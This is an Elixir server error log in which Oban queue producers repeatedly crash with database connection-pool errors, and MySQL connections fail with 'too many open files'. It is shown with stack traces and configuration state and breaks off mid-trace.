** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:03:15.239417Z], limit: 3, uuid: "0f25df54-9250-40c7-8165-d8c1dd4c3663", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.239423Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41547>, refresh_timer: #Reference<0.2525715032.1099431938.41492>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:03:15.239873Z], limit: 20, uuid: "300c9b5a-f46c-4c3f-afbb-c146f598b261", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:15.239877Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44652>, refresh_timer: #Reference<0.2525715032.1068498948.44639>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:28.819000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:30.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:31.723000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:35.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:35.794000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:39.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:39.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:03:28.240278Z], limit: 50, uuid: "d621e887-1700-4e72-888f-fb0e44991acc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.240283Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41819>, refresh_timer: #Reference<0.2525715032.1077673987.20030>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:03:28.240044Z], limit: 5, uuid: "8182d84b-a366-4b46-946a-1a2a80f326c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.240051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41818>, refresh_timer: #Reference<0.2525715032.1077673987.20017>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:03:28.240153Z], limit: 5, uuid: "839f4159-dc83-4f8d-bd41-c87c14f9ec7f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.240159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41821>, refresh_timer: #Reference<0.2525715032.1121189889.154603>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:03:28.240292Z], limit: 3, uuid: "2f757173-c224-4df8-8a6d-06a514ef93b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.240297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41820>, refresh_timer: #Reference<0.2525715032.1077673987.20031>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:03:28.240250Z], limit: 10, uuid: "6f69046a-d3b8-415f-a47b-e69d32e19e3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.240255Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41817>, refresh_timer: #Reference<0.2525715032.1077673987.20025>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:40.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:03:28.241911Z], limit: 20, uuid: "e746e7d2-795f-4f55-ae6f-07f570bdb8a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:28.241917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.20045>, refresh_timer: #Reference<0.2525715032.1121189889.154649>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:42.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:42.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:45.983000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:48.041000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:50.707000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
